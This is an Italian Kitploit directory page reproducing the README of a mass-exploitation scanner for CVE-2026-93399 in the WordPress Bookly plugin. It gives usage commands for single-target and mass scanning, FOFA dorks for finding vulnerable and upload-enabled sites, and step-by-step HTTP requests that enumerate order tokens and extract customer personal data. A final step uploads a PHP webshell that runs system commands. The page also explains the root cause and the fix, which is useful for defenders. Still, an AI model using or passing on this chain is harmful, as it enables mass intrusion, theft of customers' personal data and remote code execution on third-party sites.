Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-93399 — Scanner di sfruttamento massivo in Python per CVE-2026-93399 nel plugin WordPress Bookly: rilevamento della versione, enumerazione non autenticata dei token d'ordine tramite IDOR, estrazione di PII e RCE tramite webshell. | Kitploit
Strumenti/GitHubGitHub/josemour8/cve-2026-93399
RicognizioneScanner di VulnerabilitàGenerazione di PayloadExploitSfruttamento di Applicazioni WebEsfiltrazione DatiSicurezza WebPenetration Testing
GitHubjosemour8/cve-2026-93399

CVE-2026-93399

Scanner di sfruttamento massivo in Python per CVE-2026-93399 nel plugin WordPress Bookly: rilevamento della versione, enumerazione non autenticata dei token d'ordine tramite IDOR, estrazione di PII e RCE tramite webshell.

21 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Vedi Repository
Condividi

CVE-2026-93399

Bookly <= 28.2 IDOR non autenticato + fuga di PII + RCE

Scanner di sfruttamento di massa per CVE-2026-93399 (CVSS 9.1 Critico) che interessa il plugin WordPress Bookly — Online Scheduling and Appointment Booking System (versioni <= 28.2).

Indice

  • Panoramica
  • Catena di vulnerabilità
  • Versioni interessate
  • Requisiti
  • Installazione
  • Utilizzo
  • Dork FOFA
  • Flusso di attacco
  • Formato di output
  • Dettagli tecnici
  • Dichiarazione di non responsabilità
  • Licenza

Panoramica

Il plugin Bookly per WordPress è vulnerabile a Insecure Direct Object Reference (IDOR) tramite le azioni AJAX bookly_get_form_id, bookly_render_complete, bookly_add_to_calendar e bookly_rollback_order. Tutte le azioni sono non autenticate (_default => 'anonymous') e la protezione CSRF è disabilitata (csrfTokenValid() restituisce true).

Il gestore bookly_get_form_id memorizza ciecamente i form_data controllati dall'attaccante (incluso order_id) in una nuova sessione di prenotazione senza alcuna validazione. Il gestore bookly_render_complete si fida poi di questo order_id iniettato per cercare e restituire il token segreto dell'Ordine corrispondente — consentendo ad attaccanti non autenticati di enumerare ID di ordine sequenziali, divulgare i token degli ordini di altri clienti, recuperare informazioni su calendari/appuntamenti ed eliminare permanentemente prenotazioni arbitrarie non completate.

Catena di vulnerabilità

Step 1: getFormId       → inject form_data[order_id] = VICTIM_ID (IDOR)
Step 2: renderComplete  → leak victim order token via Order::query()
Step 3: addToCalendar    → extract customer PII (staff name, email, service, date)
Step 4: sessionSave     → inject file payload (RCE, requires Files add-on)

Versioni interessate

  • Vulnerabili: Bookly <= 28.2 (tutte le versioni fino alla 28.2 inclusa)
  • Corrette in: 28.3 (aggiunta la whitelist _prepareFormData() e il sanitizer _prepareCartData())

Requisiti

  • Python 3.8+
  • Libreria requests
pip install requests

Installazione

git clone https://github.com/josemour8/CVE-2026-93399.git
cd CVE-2026-93399
pip install requests

Utilizzo

Singolo target

# Detect Bookly version (safe, no exploit)
python3 exploit.py -u http://target.com --detect

# IDOR: enumerate order tokens (1-50)
python3 exploit.py -u http://target.com --enumerate --start 1 --end 50

# PII extraction via ICS (staff name, email, appointment data)
python3 exploit.py -u http://target.com --pii

# RCE: attempt webshell upload via session injection
python3 exploit.py -u http://target.com --rce

# Full chain: IDOR + PII + RCE
python3 exploit.py -u http://target.com --full

Scansione di massa

# Full chain on target list with 10 threads
python3 exploit.py -f targets.txt --full -th 10 -o results.txt

# Enumerate tokens across multiple targets
python3 exploit.py -f targets.txt --enumerate --start 1 --end 100 -th 20

Opzioni

FlagDescrizione
-u, --urlURL di un singolo target
-f, --fileFile con gli URL dei target (uno per riga)
--detectVerifica solo la versione (sicuro)
--enumerateIDOR: rivela i token degli ordini
--piiEstrae PII tramite l'esportazione del calendario ICS
--rceTenta il caricamento di una webshell
--fullCatena completa: IDOR + PII + RCE
--start Norder_id iniziale (predefinito: 1)
--end Norder_id finale (predefinito: 50)
-th, --threads NNumero di thread (predefinito: 5)
-o, --output FILEFile di output (predefinito: results.txt)
-v, --verboseMostra tutti i tentativi

Dork FOFA

Trova tutte le installazioni di Bookly

body="bookly-responsive-appointment-booking-tool"

Trova le pagine Bookly con il modulo di prenotazione renderizzato

body="BooklyL10nGlobal"

Specifico per versione (vulnerabile <= 28.2)

body="bookly-main.css?ver=28.2"

Combinato (massima affidabilità)

body="bookly-responsive-appointment-booking-tool" && body="BooklyL10nGlobal"

Trovare target con l'add-on Files (per RCE)

body="bookly-addon-files"

Trova target con campo di upload file configurato (RCE-able)

body="bookly-js-upload"

Flusso di attacco

Passo 1: Iniezione di order_id (IDOR)

POST /wp-admin/admin-ajax.php
Content-Type: application/x-www-form-urlencoded

action=bookly_get_form_id
form_data[order_id]=1
form_data[data][first_name]=x
form_data[chain][0][service_id]=1
form_data[chain][0][staff_ids][]=1
form_data[cart][0][service_id]=1
form_data[cart][0][staff_ids][]=1

Risposta:

{"success":true,"form_id":"a1b2c3d4e5f6...","status":{"booking":"new"}}

Codice vulnerabile (Ajax.php:45-46):

$form_id = Lib\FormSession::createSession();
Lib\FormSession::saveSession($form_id, self::parameter('form_data'));
// form_data stored RAW — no _prepareFormData() whitelist in <= 28.2

Passo 2: Far trapelare il token dell'ordine

POST /wp-admin/admin-ajax.php
action=bookly_render_complete
form_id=a1b2c3d4e5f6...

Risposta:

{"success":true,"bookly_order":"de2730e13265e86364172d99444ebe3d","html":"..."}

Codice vulnerabile (Ajax.php:733):

'bookly_order' => Lib\Entities\Order::query()
    ->where('id', $userData->getOrderId())  // attacker-controlled
    ->fetchVar('token')                       // victim token leaked

Passaggio 3: Estrazione di PII tramite ICS

GET /wp-admin/admin-ajax.php?action=bookly_add_to_calendar&bookly_order=LEAKED_TOKEN&calendar=ics

Risposta: File ICS con i dati del cliente:

BEGIN:VEVENT
ORGANIZER;CN=Admissions Manager:mailto:[email protected]
SUMMARY:TNS Gulberg - Tour
DTSTART:20230908T080000Z
END:VEVENT

Passo 4: RCE (richiede l'add-on Files)

POST /wp-admin/admin-ajax.php
action=bookly_files_upload
custom_field_id=<field_id_from_booking_form>
csrf_token=<from_homepage>
file=shell.php (Content: <?php echo system($_GET["c"]); ?>)

Posizione della shell: /wp-content/uploads/bookly-files/shell.php

Formato di output

http://target.com | IDOR | order_id=1 | token=de2730e13265e86364172d99444ebe3d
http://target.com | PII | order_id=2 | staff=Admissions Manager | [email protected] | service=TNS Gulberg - Tour | date=20230908T080000Z
http://target.com | RCE | http://target.com/wp-content/uploads/bookly-files/pxd001.php?c=id

Dettagli tecnici

Causa principale

Il gestore getFormId() memorizza l'intero parametro form_data (JSON controllato dall'utente) nel database delle sessioni senza alcuna whitelist né sanificazione. Ciò consente a un attaccante di iniettare chiavi di sessione arbitrarie, incluso order_id.

Il gestore renderComplete() legge order_id dalla sessione ed esegue una query diretta sulla tabella Order — senza verificare che la sessione corrente abbia creato quell'ordine.

Due difetti che si sommano

  1. CSRF disabilitato — csrfTokenValid() è sovrascritto con return true nel modulo di prenotazione
  2. Tutte le azioni anonime — permissions() restituisce array('_default' => 'anonymous'), quindi ogni gestore registra sia gli hook wp_ajax_ sia wp_ajax_nopriv_

La correzione (28.3)

La versione 28.3 ha aggiunto _prepareFormData() — una whitelist rigorosa che rimuove tutto tranne le impostazioni di visualizzazione (skip_service_step, hide_service_part1, hide_service_part2, defaults). Ha inoltre aggiunto _prepareCartData() per sanificare le chiavi degli elementi del carrello.

Scarica lo strumento